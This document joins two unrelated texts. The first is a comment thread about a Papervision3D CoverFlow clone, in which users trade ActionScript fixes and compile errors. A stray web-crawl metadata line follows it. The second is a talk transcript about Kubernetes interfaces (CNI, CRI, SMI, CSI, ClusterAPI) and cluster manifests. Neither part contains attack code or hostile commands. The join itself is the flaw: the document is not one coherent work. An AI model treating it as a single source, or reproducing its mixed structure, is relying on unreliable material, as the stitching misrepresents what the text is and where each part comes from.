Firstly, thanks for publishing this code – I have implemented my own CoverFlow style interface and was concerned that the scene was being rendered on every frame (a little overkill) – this is what brought me to your implementation. I also experienced intermittent issues when selecting items with the mouse. It seemed to appear that if the mouse was not located over the Coverflow as it started up then certain mouse events are not being handled correctly by Papervision.
I’ve found a workaround, it may not be the best solution, but it maintains rendering only when necessary.Firstly it involves adding 2 more event listeners to the viewport interactiveSceneManager
viewport.interactiveSceneManager.addEventListener(InteractiveScene3DEvent.OBJECT_MOVE,vpMouseMove);
viewport.interactiveSceneManager.addEventListener(InteractiveScene3DEvent.OBJECT_OUT,vpMouseOut);
In the mousemove handler function add the following code
if(viewport.hitTestMouse().displayObject3D is Plane){ viewport.interactiveSceneManager.removeEventListener(InteractiveScene3DEvent.OBJECT_MOVE,vpMouseMove);
viewport.interactiveSceneManager.updateRenderHitData();
}
and in the mouseout handler function add
viewport.interactiveSceneManager.addEventListener(InteractiveScene3DEvent.OBJECT_MOVE,vpMouseMove);
This seems to work for me – obviously it may be improved as you will inevitably get multiple updates to updateRenderHitData. I’ll leave it to you guys to improve upon, but I hope it helps someone.
Hi John,
Further to your help yesterday I did some investigation (tinkered) and I hit upon another problem but this time I also come armed with the solution :), you may want to include this in your version to help with potential future issues.
While the solution you gave me yesterday helped, it did indeed allow the reflections to work on a white background but it didn’t allow the reflections to work on any background as they weren’t transparent so I have changed a few bit of code to provide arguably better reflections that have a transparent gradient so that they can be used with any background.
Please find code changes to the CoverFlow class below:
before*
bmpWithReflection.draw( bmp, flipMatrix, new ColorTransform(alpha, alpha, alpha, 1, 0, 0, 0, 0));
after*
bmpWithReflection.draw( bmp, flipMatrix, new ColorTransform(alpha, alpha, alpha, 1, 0, 0, 0, 0),BlendMode.LAYER );
and…
before*
holder.graphics.beginGradientFill( GradientType.LINEAR, [ 0x000000, 0x000000 ], [ 0, 100 ], [ 0, 0xFF ], gradientMatrix);
after*
holder.graphics.beginGradientFill( GradientType.LINEAR, [ 0x000000, 0x000000 ], [ 100, 0 ], [ 0, 0xFF ], gradientMatrix);
before*
bmpWithReflection.draw( holder, m );
after*
bmpWithReflection.draw( holder, m,null,BlendMode.ALPHA );
All done
@rd, thanks for the code. I was initially worried that the use of alpha blending would cause the frame rate to drop so I didn’t pursue it. If you’re finding that it doesn’t make much difference that’s great! I’ll look into adding it for a later version.
Performance is a valid point, but so far I haven’t seen any substantial performance issues. It’s all good
I got the same problem like chris
Occouring errors are: (CoverFlow.as)
Line 177: 1119: Access of possibly undefined property interactive through a reference with static type org.papervision3d.materials:BitmapMaterial.
Line 229: 1119: Access of possibly undefined property y through a reference with static type org.papervision3d.events:InteractiveScene3DEvent.
Line 313,326,337 1120: Access of undefined property Tweener.
Line 29 1172: Definition caurina.transitions:Tweener could not be found.
can someone help???
thx
oh sorry, not the same problem, but i think it’s very similar:.
did they change the papervision code? or whats the problem!
thx for help!
@mike, sounds like there might be some PV3D differences. Make sure you’re using the GreatWhite branch.
I’m getting these errors:
weird, the actual content of my errors didn’t display.. here’s a screenshot
-n
totally unsure what to do.
any ideas?
it’s very much appreciated!
i should add that i’m using the GreatWhite Papervision version and have specified "caurina" as the directory that contains Tweener 3d
Hi John, Looks awesome, but I am having some trouble getting it to compile, What revision number of great white did you use, it looks like they changed a couple methods in Face3D.as, I get a bunch of errors on line 165, a little poking around and I think they changed drawFace3D() to drawTriangle() and the params are a little different.
I have the latest revision of great white (532) but maybe I need to go backwards a few revisions if you haven’t updated your code in a while – I am guessing you posted the 2.0 version in Nov 07?
So if you could let me know what revision of great white you are using that would be awesome.
Thanks in advance
Chris
hi John, thanks for sharing the code.
is there any license needed to use the cover flow in one of my projects?
well done!
Soenke
Here is a SVN link to Great white with all the extras
This is the first clone I’ve found that really feels like CoverFlow. Excellent work.
anyone know how to get this to work in flex
Hey John, Great work on your amazing Coverflow. I was hoping to try a simpler treatment of this which just loaded image files from an XML source file. Little did I know how difficult is was going to be! : ) Anyway I seem to have most of the issues resolved stripping out the text and click through references in the FlickerFlow.as file but I’m really struggling with CoverFlow.as. The problem all seems to stem from …
line 119// imageLoader.load( new URLRequest( coverFlowData[currentLoaderIndex].imageUrl ), loaderContext );
imageUrl hasn’t been defined anywhere in this file so I’m getting a a error message…
TypeError: Error #1010: A term is undefined and has no properties.
Any advise would be awesome.
thanks, Jim
I’ll try to get out an update that shows how to load from a simple local XML file.
Thanks John. I’ve resorted leaving the code as you had it originally and using Yahoo’s XML namespace to get round the problem for now. Not exactly tidy but does the job! A simpler version would still be great to have. I’ve also noticed that resizing the viewport in FlickerFlow.as trips out when it goes for the Coverflow.as. file
hi,
is it possible to use the coverflow without flickr? i like to use it with pictures from a folder. is there an easy way?
thanks.
This seems to have happened over the last weekend. I had it working
on Friday.
TypeError: Error #1009: Cannot access a property or method of a null object reference.
at CoverFlow/::imageLoaded()
Error opening URL ‘’
Failed to load policy file from
I really like this coverflow. Great work! And I’d also like to use it with a simple xml file pointing to pictures in a folder etc. Looking forward to that version.
I have just a question from CoverFlow.as line 320
dispatchEvent(new CoverFlowEvent(CoverFlowEvent.ITEM_FOCUS, newCenterPlaneIndex));
Commenting out this line seems to have no effect whatsoever on
the functionality of the app.
Comment 2: The source is missing a ; after this statement. line 166
Amazing enough the CS3 does not seem to care until you start making
changes to the code then it gets real confusing.
holder.graphics.beginGradientFill( GradientType.LINEAR, [ 0, 0 ], [ 0, 100 ], [ 0, 0xFF ], gradientMatrix) !!! missing ; !!!
Also
Well It seems be slightly less broke then it was. Now it loads one picture before you get the following:
Connection to halted – not permitted from
Error #2044: Unhandled securityError:. text=Error #2048: Security sandbox violation: cannot load data from.
at PlaylistParser/loadPlaylistUrl()
at Stewart/::initialize()
at Stewart$iinit()
EXCELLENT,EXCELLENT CODE!!!! For those having trouble with dynamic centering, it’s as easy as using the stageWidth/stageHeight properties. Worked like a charm.
Is there a simple example somewhere of how to use the latest version of the code?
John, can you help me place this on a white background? Itried using the method described by "rd" on April 3rd, but the image still appears to have a black background behind it.
Justin,
I think the best way might be to replace all the references to 0x000000 (which mean ‘black’) with 0xFFFFFF (which in hex means ‘white’). That should do it…
Nice and simple, thanks.
In FlickFlow, instead of the "stupid hack" to properly get the title, just get the first title node:
var t:String = entryNode.title[0].text();
You’re just getting a double title because of the additional flickr <media:title> node.
Hi,
first of all i wanna say:"great job", i have done something very similar to that but now i am stuck into a problem…i would like to have some alpha effect within the shifting, somehow i cannot make it work, plane doesnt’t get alpha…any ideas how could i make fade effect.
best regards
Hi,
Anyone know how many planes can I render with it ?
1000 is possible ?
thanks.
Does anyone here know where I can find a tutorial on this step by step?
Thanks
Hi,
Great work!!! Just one question, is it possible to make this a continuous cover flow?
Hi John,
Thanks for your wonderful code. I have a problem: I CANT click the plane(image) even though mouse click event code(planeClicked) present. How can i overcome this problem. Could anyone pls suggest what’s wrong.
Thanks in Advance.
Bas.S
I was wondering if there was a way to fade the left and right most edges of your coverflow with papervison3d 2.0? I was looking at how the itunes coverflow works and it does fade left and right. Let me know if you think this is possible. P.S. I think this clone is the best one I’ve seen. Good work!
@Alex, you could try to do this programatically, but you could also add a gradient just in the Flash IDE on top of whereever you have the coverflow.
John, thanks for your reply.
I tried both approaches and neither worked.
1. I created a movieClip with a black to white gradient and exported it for actionscript.
Then i did:
var mc:MyClip = new myClip();
addChild(mc);
myClip.casheAsBitmap = true;
this.mask = myClip;
2. Same as 1 but created the gradient shape programmaticlly.
Papervision alwasy shows up on top most layer while my gradient shows up behind it.
Well thanks again for your replay let me know if you think there is a better approach than this.
Thanks!
Alex
Hi John,
I have been puzzled for the last two days about something. I have been trying to add rollover functionality to each image. I added the following two lines of code below where you set the planeClicked event listener in CoverFlow.as
plane.addEventListener(InteractiveScene3DEvent.OBJECT_OVER, planeRollover);
plane.addEventListener(InteractiveScene3DEvent.OBJECT_OUT, planeRollout);
Now, my rollovers work. The issue is that the rollovers are working when the user rolls over the reflection not just the image. But the strange thing is the click event doesn’t get triggered when a user clicks on the reflection. Do you know why? Where is that listener getting overwritten?
I noticed in your FlickrFlow class you have the following line of code viewport.buttonMode = true; so when the user rolls over an image the cursor changes to button mode.
I want to make sure if a user rollsover the image and/or reflection the rollover, out and click functionality is synched.
Could you please help me with this issue? Any information would help a lot.
Thanks,
Mike
Was able to modify and use your code in a project. Thanks for the hard work!
Awesome! If you have a link to the project, I’d love to see it.
Hi the link for the download is broken
Your cover flow is amazing. When I looked over your article I discovered both of papervision and tweener, which were new to me… incredible contribution, thanks.
Yes, I love these to feature photo’s and other art. Glad more options are coming out. I know there are some free services out there too that automate this. Thanks
Papervision3D now has integrated QuadTree support. For those of you who aren’t sure what this means – it is a technique of subdividing the screen into smaller and smaller regions to resolve potential conflicts between triangles. This is one solution to the common error found in the Painter’s algorithm that Papervision, (and all Flash3D engines) uses.
Hey there
The coverflow demo is amazing !
I wish i could dig in the code, but it seems that the download link is down !!
I’d be really grateful if someone could rehost it or share it with me
thanks in advance
ben
lien de telechargement ne marche pas, quelqu’un peux nous aider pour pouvoir telecharger le code source?
does this still work ? I can’t get it to work. Any one else?
Great flash guys, just great. But one question though, I found a flash Cover Flow on website that supports .flv video. Do you have this feature? Thank you!
Hi can you please upload the source for phunky with which this coverflow example is created. All the source projects that i get from internet are either incomplete or wrong version. Thank you!
Thanks to my father who informed me on the topic of this weblog, this webpage is actually amazing. | http://johndyer.name/yet-another-coverflow-using-papervision/ | CC-MAIN-2016-36 | refinedweb | 4,772 | 66.13 |
dont worry about that, thats all handled through the TCP protocol.
Yep, but I do worry because the Checksum error is something that shouldn’t happen - and does not happen with all other packets transmitted and received within the past hour…
Seems to be a problem with the implementation you/we used…
Regards, Bigfoot29
…now I am getting sad…
After some weeks work of “pimping my server” I wanted to test it “in the wild” - means: put the server @ a dedicated root and let the client try to connect to it…
Here at the local network 192.168.x.x everything is fine… but only as long as all clients/server are in the same subnet or/and there is no gateway between them…
What is the problem? Well, The server works as suspected. He uses the IP given and he accepts incomming transmissions (tried telneting it and the server told me “got new connection”). Now I let the Client connect to the server, but the client cowardly refuses to set up the connection (with everything set up properly). I did a tcpdump at the server and got the following result:
13:45:59.961455 IP 38-203-116-85.32845 > 213-239-209-253.9099: S 4261624326:4261624326(0) win 5840 <mss 1452,sackOK,timestamp 2130652 0,nop,wscale 0> 13:45:59.961619 IP 213-239-209-253.9099 > 38-203-116-85.32845: S 2229722743:2229722743(0) ack 4261624327 win 5792 <mss 1460,sackOK,timestamp 4600066 2130652,nop,wscale 2> 13:46:00.011241 IP 38-203-116-85.32845 > 213-239-209-253..9099: R 4261624327:4261624327(0) win 0
(I removed the DNS part, otherwise the lines would get far too long…)
Can anybody of you handle this? It seems as if the windows (win 5840 and win 5792) won’t match and thus the server/client can’t connect to each other…
But I am wondering why this is working in a local net - or even throught the internet… I guess my problem is, that the client thinks it has IP 192.168.x.x instead of 38.203.116.85 (here)…
How to solve that issue?
Help very much appreciated
Regards, Bigfoot29
Edit: Uh… I left the core of the server the way Yellow made it… so it connects using the method Yellow used here… but at the server I don’t even get the message that he got a new connection (what is normal because he was not able to establish the “desired” one from the client)
Could there be a firewall blocking traffic somewhere? For instance, Windows Firewall, or a firewall in your gateway box?
David
Nope, tried that also… but Yellow found the problem…
Instead of
self.Connection = self.cManager.openTCPClientConnection(IP, PORT,1)
it should be
self.Connection = self.cManager.openTCPClientConnection(IP, PORT,1000)
Thats a 1 milisecond connection timeout… no wonder, that the client got no reply within 1 msecs in a Environment with a DSL connection
But of course, your idea was one possible solution. Thanks for your time trying to figure out, drwr.
Same to you, Yellow… was a great help
Regards, Bigfoot29
Edit: The work is done! The server/client system is far from completion, but I wanted to have the system as “basic” as possible before adding very game specific sections to it…
- See the showcase
As for the Checksum error, I’ve seen the same issue on some python TCP networking code I wrote (unrelated to Panda3D, used the Twisted framework), and it also showed the incorrect checksum in Ethereal. I wouldn’t worry about it, however, as that code always worked fine for delivering the data, so I’d say it’s probably more an issue with Ethereal.
When I tried either the server.py or client.py code, it always conplained the following error:
Traceback (most recent call last): File "server.py", line 56, in ? class Server(DirectObject): TypeError: Error when calling the metaclass bases module.__init__() takes at most 2 arguments (3 given)
Any ideas?
Looks like an import error due some changes in Panda3D structure… with what sort of Panda3D release did these errors occur? This software was written / tested using Panda 1.0.5 when I remember correctly… maybe you want to check that first - in case its working there, its an import problem like we do have them from time to time with a new release.
If its not - well, dunno… - hit me
Regards, Bigfoot29
Actually, that looks like a change in the way DirectObject should be imported. Make sure you are doing:
from direct.showbase.DirectObject import DirectObject
and not something like:
from direct.showbase import DirectObject
David
Or that way
Question is: Was that a mistake in the server.py code I did when working with the stuff or were that changes to Panda3D made later on? wonders
Regards, Bigfoot29
David,
Even if I modified (actually I added it since it didn’t exist) the line about DirectObject, it still complained about the same message.
These are the import statement written in server.py:
from pandac.PandaModules import * import direct.directbase.DirectStart from direct.showbase.DirectObject import * from direct.distributed.PyDatagram import PyDatagram from direct.distributed.PyDatagramIterator import PyDatagramIterator
Be sure you put the DirectObject import statement after the line that imports DirectGui. In fact, make sure it’s the very last import in the file. In versions of Panda prior to 1.3.0, importing DirectGui would inadvertently (and incorrectly) import DirectObject as a module.
David
Amazing! It’s working now…
Following a trail of clues scattered around this forum I updated the Feature-Tutorials–Networking from the 1.0.5 release to work with the 1.3.2 release and even fixed a little bug
. This is the latest thread from which I got some info, so I’ll post my result here.
You can get the updated Tutorial here:
phys.uu.nl/~keek/panda/Featu … ing.tar.gz
Hey, I hope this topic isn’t too old to dredge up.
I was running through this thread as a means of trying to teach myself the Panda3D networking and followed all the steps thus far (even all the corrections) and still cannot get the server to run.
I keep getting the following error when running the server:
F:\dev\s-c_testing>python trial_server.py DirectStart: Starting the game. Warning: DirectNotify: category 'Interval' already exists Known pipe types: wglGraphicsPipe (all display modules loaded.) :util(warning): Adjusting global clock's real time by 2.23452e-006 seconds. :net(error): Unable to open TCP connection to server 127.0.0.1 on port 9099 Traceback (most recent call last): File "trial_server.py", line 242, in <module> aClient = Client() File "trial_server.py", line 51, in __init__ self.cReader.addConnection(self.Connection) TypeError: ConnectionReader.addConnection() argument 1 must be Connection, not NoneType
I looked up the culprit line:
self.Connection = self.cManager.openTCPClientConnection(IP, PORT,1000)
self.cReader.addConnection(self.Connection)
They seem fine to me though.
Looking through the Panda3D API I found the method call:
openTCPClientConnection PointerTo< Connection > ConnectionManager::open_TCP_client_connection(NetAddress const &address, int timeout_ms);
Which is exactly as it is in this code sample.
So I’m strugling to find the issue.
It actually means self.Connection is equal to None, and that’s why it doesn’t like that. You have to look before that line in your code to see how it can be None instead of a Connection instance.
maybe you wanna have a look at this ->
its pretty clean and lean thus easier to understand.
I included the culprit line up above.
For some reason ‘self.cManager.openTCPClientConnection(IP, PORT,1000)’ is returning ‘None’.
Now that is a failed connection is it not?
Or is it an issue with the usage of that function/method?
L:lol:L
Now that I have been able to look at that other network code in detail I actually find this sample easier to understand.
It all seems to make sense to me.
Just not sure why it wont work. lol.
EDIT: Ahhhhh took a look inside his Client.py code and found that it is just this same code bundled differently (in essence).
Interestingly when he uses the EXACT same lines in Client() it works.
But in this example it does not.
Still cannot work out why as there is almost no difference.
Hi. You took a look into what client py?
If I need to fix stuff, I prolly will. Actually I need some help because that code is oldish. but once I know what I have to fix, I will do my best to DO so.
I don’t program to that extent I am used to, so I am out of training. - and my time doesn’t allow me to work back into the code. Sorry, I hope you understand…
Regards, Bigfoot29 | https://discourse.panda3d.org/t/panda3d-network-example/908/22 | CC-MAIN-2022-33 | refinedweb | 1,481 | 65.83 |
Transcript
Gamanji: My name is Katie Gamanji, and I am one of the cloud platform engineers for American Express. Around a month ago, I joined American Express, and I am part of the team that aims to transform the current platform by embracing the cloud-native principles and making the best use of the open-source tools. As well, quite recently, I've been nominated one of technical oversight committee member, or TOC, for the CNCF. Alongside 10 other champions within the open-source community, I'll be responsible to steer and maintain the technical vision for the CNCF landscape. Pretty much we are the committee that enables and leverages products to join the open-source community.
Today, I would like to talk about the interoperability of open-source tools, and more specifically, the emergence of interfaces.
Container Orchestrators
Six years ago, the container orchestrator framework space was very heavily diversified. We had tools such as Docker Swarm, Apache Mesos, CoreOS Fleet, Kubernetes, and all of them provided a viable solutions to run containers at scale. However, Kubernetes took the lead in defining the principles of how to maintain and distribute containerized workloads. Nowadays, Kubernetes is known for its scalability and portability, but more importantly, for its approach to declarative configuration and automation. This prompted for multiple tools to be built around Kubernetes to extend its functionalities. This created what we today know as the cloud-native landscape, which resides under the CNCF umbrella, Cloud Native Computing Foundation.
However, if you look into every single tool, they're going to provision quite similar functionality sometimes, and at the beginning, they had very different ways to converge with the Kubernetes components. It was clear that it was necessary to introduce a set of standards, and it was imperative to have the interfaces around. This is what I would like to talk to you about today.
To do so, I would like to introduce the container network and container runtime interfaces, and how this paved the path toward standardization and guidelines within the Kubernetes ecosystem. These two components were necessary to make the transition between the VMs and containers as easy as possible. In the next stage, it's something which identify as the innovation wave. We have the community concerning itself more and more with the extensibility of Kubernetes. This is confirmed by the appearance of the service mesh and storage interfaces, as well as cluster API. Lastly, I would like to conclude with the impact that the emergence of interfaces had on vendors and users in the community.
Before I move forward, I would like to introduce Kubernetes in numbers as it is today. Based on the CNCF survey in 2019, more than 58% of the companies are using Kubernetes in production. The other 42% are actually prototyping Kubernetes as a viable solution. Another milestone I would like to mention is that more than 2,000 companies are using Kubernetes in an enterprise context. This is a very important milestone because it showcases the maturity and the high adoption rate for communities. When we move towards the development community, more than 2,000 engineers are actively contributing towards the future build out and bug fixing. When we look into the end user community, more than 23,000 attendees were registered at the QCons around the world last year. This is going to be QCon in Europe, China, and North America.
The Practical Past
However, the community around Kubernetes was not always as developed and flourishing, but more importantly, it was not always as engaging. At the beginning, the picture was quite different. Nowadays, Kubernetes is known for its adaptability and flexibility to run containerized workloads with predefined technical requirements. It will be able to provision the ecosystem for application execution, while shrinking its footprint in the cluster. It's all about efficient management of the resources.
However, to reach the state of the art, complex challenges required solutionizing, such as the support for different networking and hardware systems. This prompted for the CNI and CRI to be introduced, so pretty much the container network interface and the container runtime interface.
CNI was introduced under the CNCF umbrella in early 2017, while the CRI was introduced in Kubernetes 1.5 in its alpha release. I would like to deep dive a bit more into this topic because I find them quite pivotal in terms of the standardization, but more importantly, when it comes to the transition between the VMs and containers, it's all about keeping the mindset and changing the perspective.
CNI
Exploring the networking fabric within a Kubernetes cluster is quite a challenging task. Kubernetes is known for its ability to run distributed workloads on a distributed amount of machines, while preserving the connectivity and reachability to these workloads. As such, the networking topology is highly assertive and it gravitates towards the idea that every single pod has a unique IP. This particular networking model dismisses the need for dynamic port allocation, but at the same time brings to light new challenges to be solved, such as how containers, pods, services, and users are able to access our application.
To showcase exactly where the CNI component is injected, I would like to showcase the journey of a package to be sent across two different applications on an internode setup. In this example, I have two nodes, and supposedly I'm going to have two different applications running on that. I would like to send a request from application one to application two. Once the request is issued, it's actually going to look inside the pod to see if any containers are able to serve the request. For the sake of this example, will not be able to do so, which means the request is going to go outside of the pod, and it's going to reach the root network namespace on the physical machine. At this stage, we're going to have the visibility of all the pods on that specific node. Again, will not be able to serve our request, which means the request is going to go outside of the machine for the [inaudible 00:06:33] device towards the routing table. Generally speaking, the routing table is going to have the mapping between every single node and decider for the pod's IP to be allocated on that node, which means that with minimal hops, we'll be able to reach our machine, and in a reversive matter, will go for the root network namespace to the pod/container, and our request is going to be served.
The networking world in Kubernetes dictates that every single pod should be accessible via its IP across all nodes. As such, it was necessary to have this inclusivity of different networks and networking systems to make sure that this principle is fulfilled. This prompted for the appearance of the CNI, or container network interface, which concerns itself with the conductivity of the pods and the deletion of resources when the pod is removed. Pretty much it's going to have two operations: addition and deletion. It will make sure the pod has an IP, but at the same time to make sure to clean up resources when the pod is not going to be there anymore.
When you're looking into the ecosystem at the moment, there are a plethora of tools provisioning the networking fabric for a cluster, from which we have Flannel, which has reported a lot of success from the end user community. Flannel is known for its simplicity to introduce the network overlay for a cluster. Calico as well has gained a lot of momentum lately. This is because, in addition to the network overlay, it's going to introduce the network policy enforcer, which allows the users to configure a fine-grained access control to the services within the cluster. Lately, Cilium as well has gained a lot of popularity. This is because it's aware of the networking and application layer security protocols. It will allow the Layer 3 and Layer 7 configuration, which makes it possible to have the transparency of the networking packets at the API level. Weaveworks actually came with their own tool for the networking component called Weave Net. It's known for its simplicity to be installed in the cluster with minimal configuration. It's actually a one-line installer.
CRI
When we transition to the runtime component, the story is slightly different. At the beginning, most of the containers or the runtime capabilities would be provisioned by Docker and Rocket. The runtime is the particle which intercepts API calls from the kubelet, and it will make sure to create the containers in the machine with the right specification. As I mentioned, Docker and Rocket would be the only supported runtimes at the beginning, and their logic would be very deeply ingrained within the Kubernetes source code. This presented quite a few challenges. If you'd like to introduce new features to the existing runtimes, that would be very tightly coupled with the release process for Kubernetes, which is quite lengthy. It actually allows for very low velocity rate when it comes to feature development. As well, if you'd like to introduce new runtimes, that will present a very high level entry bar because it will require a very in-depth knowledge of the Kubernetes source code. Again, this is not sustainable to move forward, and to comply with the growing space within the runtime components.
It was clear that it was necessary to have an interface which will enable the runtimes to be integrated. As such, the container runtime interface came to be about, and it provides an abstraction layer for the integration of runtime capabilities from which Docker would be just one of the supported runtimes.
When you're looking into the CNCF landscape, there are plenty of tools provisioning the runtime capabilities from which we have ContainerD and CRI-O, being the most widely used. This is because of the open-source nature. ContainerD is currently a graduated CNCF project, so it has a lot of use cases from the end user community, but as well it actually showcases its maturity. It's known for its industry standard to provision the runtime for a cluster. CRI-O is an incubating CNCF project, and it's known for its lightweight capabilities, but at the same time complying with open-source container initiative standards. The implementation of the runtime is going to be very tightly coupled with the infrastructure provider. It is only natural to allow the existing cloud providers to use their own APIs to create the containers on their machines. As such, Google is going to have their own runtime component which is going to be called gVisor, and AWS has their own component which is going to be AWS Firecracker.
The Innovation Wave
The networking and runtime components were extremely essential when it comes to the migration between the VMs and containers. This is because we actually keep the mindset in terms of reachability of our workloads would be able to do so via the IP. The same would do with the VMs. We're going to dig in the container world as well. The runtime capability actually allowed us to create the containers on the machine. These two components actually exceeded the rate for the adoption of Kubernetes moving forward. From this point, the community concerns itself more and more with the extensibility of Kubernetes rather than settling down to a very specific amount of tooling. This is confirmed by the appearance of Service Mesh Interface, or SMI, Container Storage Interface, or CSI, and ClusterAPI.
SMI
The Service Mesh Interface was introduced in QCon Barcelona 2019. It provides a solution to democratize the integration of service mesh within a Kubernetes cluster. I would like to step a bit back and just introduce the service mesh capabilities. Service mesh is a dedicated infrastructure layer that concerns itself with the traffic to be sent across services in a distributed ecosystem. What it actually means is that it focuses on the traceability and more importantly of the transparency, how the services communicate between themselves. This is important feature when we have an ecosystem where you have microservices as the basis.
The Service Mesh Interface is going to cover three areas of configuration. There's going to be the traffic policy, traffic telemetry, and traffic management. Traffic policy allows the configuration of fine-grained access control of how the services will be communicated between themselves. Traffic management, it's all about the proportional traffic to be sent across services. This is an important feature if you're thinking about canary rollouts. Traffic telemetry is concerning itself how to capture and expose metrics to make sure that we have the full transparency of communication between the services.
We have multiple tools provisioning the service mesh capabilities, but only three of them integrate with CMI, from which we have Istio provisioned by Google, we have Consul provisioned by HashiCorp, and Linkerd provisioned by Buoyant. It's worth to mention here that Linkerd is currently incubating CNCF project, and it's known for its simplicity to actually introduce the service mesh functionalities within a cluster.
CSI
When we transition to the storage space, I think this is one of the most developed and widely used areas. The story with the storage component is very similar to the runtime component. This is because it was very deeply ingrained, its logic was very deeply ingrained within the Kubernetes source code. This allowed for a very low feature development rate and a very high level bar for the new storage providers to be introduced. As such, the interface came to be about and it promotes a pluggable system for the applications to consume external storage. The CSI was introduced in Kubernetes 1.9 in its alpha release, and it moved to general availability in 1.13.
I was mentioning that this is one of the most widely contributed areas, and this is because more than 60 providers are currently integrating the CSI from which we have StorageOS, Rook, Ceph, OpenEBS, and many more. All of these providers are actually going to focus on the simplicity to configure the storage component, but at the same time, will focus on the dynamic provisioning of the storage capabilities. Again, Rook here is an incubating CNCF project. It actually provides an interface to integrate the Ceph drivers, so it's kind of an inception here.
ClusterAPI
When we transition towards the ClusterAPI, the perspective is changed completely. This is because when he talked about the networking and runtime, service mission, storage components, all of these are residing within the Kubernetes world. ClusterAPI takes the idea of interfaces of further step, it completely rethinks the way we provision our clusters across different cloud providers. I would like to deep dive a bit more into this tool, as I find it quite crucial in the modern infrastructure nowadays. Looking to the current tools, there are plenty of providers providing the bootstrap capabilities for a Kubernetes cluster, from which we have Kubeadm, Kubespray, Kops, Tectonic, and many more.
However, if we look into everything single tool and the supported cloud providers, it's going to be difficult for us to find a common denominator. What it actually means is that every single tool is going to have a very specific cloud providers it's going to support. This exposes quite a few challenges moving forward. Supposedly, what happens if you'd like to rewrite infrastructure, or to migrate infrastructure to a different cloud provider? Even if it's the same bootstrap provider, the end result is going to be that you will have to write your infrastructures code from scratch because there are very little reusable components.
Another use case is what happens if you'd like to change a bootstrap provider altogether. For example, Tectonic, which I introduced earlier, is no longer under active development, and it is to be merged with OpenShift container platform. Moving forward, it's actually quite difficult because we'll not be able to do so unless we further the project and maintain it in house. The end result is going to be rewriting the infrastructures code from scratch again.
As well, I'd like to introduce you some challenges areas to deploy platforms such as China and Russia. This is because, in this particular regions, we have specific tooling to provision our platform capabilities. Most of the time, the engineers will end up with a snowflake infrastructure, which means that we're going to lose the lift-and-shift capability altogether. However, ClusterAPI intercepts all of these challenges, and provides the solution by providing an interface for cluster creation across different cloud providers through a set of declarative APIs for cluster configuration, management, and deletion.
When we're talking about cluster API, we talk about SIG cluster lifecycle, which had its first initial release in April of 2019. Since then, they had two releases and they're actual preparing for a new release this month, which is going to result with a v1aplha3 endpoint. I was mentioning the cluster integrates with different cloud providers, and currently we have a dozen of them, from which we have GCP, AWS, DigitalOcean, Bare Metal, but more importantly, Baidu Cloud. Baidu Cloud is a Chinese provider. ClusterAPI actually enables us to provision cell clusters in China with the same ease we do so in AWS in Europe.
Let's see how ClusterAPI works. Supposedly we'd like to provision a couple of clusters in different regions, different cloud providers. The way ClusterAPI is going to work, it will require a management cluster. For testing purposes, it is recommended to use kind to provision the cluster. Kind is a Dockerized version of Kubernetes. If you'd like to use ClusterAPI in production with one of the [inaudible 00:18:48] adopters, it is recommended to use a fully-fledged Kubernetes cluster. This is because it comes with a more sophisticated failover mechanism. Once we have our management cluster up and running, we'll require our controller managers on top of it. To have a fully working version of ClusterAPI, we'll require three controllers, one for the ClusterAPI CRDs, one for the bootstrap provider, and the infrastructure provider.
ClusterAPI introduces four new resources or custom resource definitions, and will require a controller to make sure that we can create and reconcile any changes we have to these resources. The second controller is going to be the bootstrap provider. This is going to be the component which will translate the YAML configuration into cloud-config script, and it will make sure to attach the instance to the cluster as a node. This capability is currently provided by Kubeadm and [inaudible 00:19:44]. And thirdly, will require our infrastructure provider. This is going to be the component which will actually interact directly with the API and provision the infrastructure, such as the instances, IM roles, DPCs, subnet security groups, and many more.
It's deserved to mention here that you can have one or many infrastructure providers. If you'd like to create a cluster, for example, in DigitalOcean and AWS, you will require the infrastructure provider for both of them. You'll create one infrastructure controller for DigitalOcean and AWS, so it'll actually be able to interact with APIs directly.
Once we have our controller managers up and running, our dependencies are there, we'll be able to provision our target clusters. These are going to be the clusters we're going to deliver to our users and developers.
I would like to introduce the resources introduced by ClusterAPI, because I'm going to use one of them to showcase an example later on. As mentioned, ClusterAPI introduces four new resources: Cluster, Machine, MachineSet, and MachineDeployment. The Cluster resource is going to allow the higher level configuration of a cluster. We'll be able to specify the subnets for all pods and services, as well any DNS suffix, if you have any. The Machine configuration is going to be very similar to a node configuration. We'll be able to say what version of Kubernetes we would like to run, but at the same time to say, what region we'd like our instance to run, or any desired instance type. MachineSet is going to be very similar to replica set. It will make sure that we have an amount of machine resources up and running at all time. MachineDeployment is very similar to deployment. It comes with a very powerful rolling-out strategy between configurations.
It's worth to mention here that the machine resource is immutable within the ClusterAPI context. If we deploy new changes to our machines, the node without configuration is going to be taken down and a new machine with a new configuration is going to be brought up. There is no patching, there is only mutability.
To showcase the simplicity of configuring clusters across different cloud providers, I would like to introduce the current way to do so. This is just a snippet of Kubespray rolls. Kubespray actually provisions the infrastructures code for a cluster using Ansible configuration. In this particular view, we have some of the roles and developer we need to be aware while creating, troubleshooting, and maintaining the cluster. ClusterAPI completely changes the perspective and introduces all of this configuration to a couple of manifests. If you'd like to create a classroom AWS, this is going to be the only configuration you'll need to do.
In this particular case, we have a cluster resource. It's worth to mention here that the cluster resource is going to pretty much take care of major networking components for a cluster. We'll still need to add other machines to the cluster. This is step one. Step two is actually at our control plane, which means our master nodes, and then the worker nodes, but those are separate manifests. What we actually have here is cluster resource with the kind cluster. We actually write it, we're invoking the apiVersion v1alpha2. We give it a name in the metadata spec, which is going to be test cluster. In the actual specification, we choose a /16 subnet for our pods.
I would like to draw your attention towards the infrastructure reference. This is going to be the component which will actually invoke the configuration specific to a cloud provider. This makes sense because every single cloud provider is going to have their own parameters to be configured. What we actually have here, we invoke an AWS cluster resource in v1alpha2 with a name test-cluster. In the background, we're going to invoke this particular manifest. What we actually have here, we say we want our cluster to be created in eu-central-1, that's going to be the region. As well we say we want to attach an sshKey with the name default to our instance.
If you'd like to create this particular resource in GCP, these are going to be the only changes required. What we actually do here, we change our kind or version in our infrastructure reference is going to be GCP cloud, because it's going to be in GCP now. This is going to invoke the manifest with GCP particular configuration. We're going to have the region move to europe-west3. We have the concept of a project, which is very particular to GCP as well. We say we want our cluster resource to be associated with CAPI project. As well, we specify a particular network, which is going to have the name default-capi.
